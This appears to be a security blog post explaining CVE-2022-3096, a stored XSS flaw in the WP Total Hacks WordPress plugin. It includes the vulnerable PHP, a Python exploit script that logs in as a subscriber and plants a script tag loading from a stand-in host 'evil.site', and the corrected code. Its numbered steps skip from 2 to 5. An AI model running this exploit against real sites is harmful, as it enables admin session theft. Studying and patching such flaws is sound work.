When running WordPress, plugins are a double-edged sword—they bring power and flexibility, but, when insecure, can be a highway for hackers. Today we’re taking a deep dive into a particular risk: CVE-2022-3096. This is a real-world vulnerability in the popular WP Total Hacks plugin (up to version 4.7.2) that, if left unchecked, lets even your site’s lowest-privilege users pull off stored XSS attacks.
Let’s get into what happened, how it works, and what you should do to protect your website.
What is CVE-2022-3096?
CVE-2022-3096 is a vulnerability affecting WP Total Hacks, a plugin installed on thousands of WordPress sites. The core of the issue is simple:
> Low-privileged users—like subscribers and contributors—can access and change the plugin’s settings, when they should not be able to.
Because WP Total Hacks fails to check user permissions, anyone who is logged in (not just admins) can modify plugin options. Worse, many of those options are not sanitized or escaped properly. That means a malicious user can inject custom scripts that will be executed in the browser of any admin (or another user) visiting the right settings page.
1. Permission Check Flaws
Normally, plugin settings pages are protected by a current_user_can('manage_options') check, restricting access to admins. But in vulnerable WP Total Hacks versions, this check was missing or too loose. The relevant code (simplified):
// Found in wp-total-hacks.php or settings.php
if (isset($_POST['wphacks_settings'])) {
update_option('wphacks_settings', $_POST['wphacks_settings']);
}
Notice there’s no capability check like
if (!current_user_can('manage_options')) {
wp_die('Unauthorized user');
}
So any logged-in user can submit changes.
2. Lack of Sanitization and Escaping
Even worse, WP Total Hacks stored user-provided settings with almost no sanitizing. That means raw HTML and JavaScript would be accepted as input.
Attackers can submit something like
<script>alert('XSS by attacker!')</script>
This script will be stored in the database and appear in the WordPress dashboard when an admin visits the settings page—running with the admin’s permissions.
Saves settings. Since there’s no permission check, the input is accepted.
5. Admin visits any affected page in their dashboard. The script runs in their browser, sending their cookies (or session) to the attacker.
Here's a potential exploit script (for educational purposes)
import requests
# Change these as needed:
wp_url = 'https://victim-site.com';
login_url = f'{wp_url}/wp-login.php'
plugin_settings_url = f'{wp_url}/wp-admin/options-general.php?page=wp_total_hacks_options'
# Step 1: Log in with low-privilege account
s = requests.Session()
login_data = {
'log': 'subscriber_user',
'pwd': 'subscriber_pass',
'wp-submit': 'Log In',
'redirect_to': wp_url + '/wp-admin/',
'testcookie': 1
}
resp = s.post(login_url, data=login_data)
# Step 2: Inject malicious payload
payload = '<script src="https://evil.site/x.js"></script>';
settings_data = {'wphacks_settings': {'footer_text': payload}}
s.post(plugin_settings_url, data=settings_data)
print('Payload delivered! Wait for an admin to take the bait.')
References and Original Advisories
- WPScan Advisory
- CVE Details
- WP Total Hacks WordPress Plugin
- Wordfence Blog, June 2022
Fixes
1. Update the plugin—Check for the latest patch in the WordPress plugins directory. If a patch is unavailable, remove or disable the plugin.
For plugin authors, add strict capability checks and proper sanitization
if (!current_user_can('manage_options')) {
wp_die('You do not have sufficient permissions!');
}
$safe_settings = array_map('sanitize_text_field', $_POST['wphacks_settings']);
update_option('wphacks_settings', $safe_settings);
Conclusion
CVE-2022-3096 is a classic example of why WordPress sites get hacked—not because of WordPress itself, but because plugins often fail at the basics. Always validate user capability. Always sanitize and escape output. If you run WP Total Hacks on your website, update or remove it today—or risk letting even your least-trusted users pull off a major breach.
Stay safe out there!
*Feel free to share or comment below if you’ve ever encountered a similar vulnerability!*
Timeline
Published on: 10/31/2022 16:15:00 UTC
Last modified on: 11/01/2022 14:00:00 UTC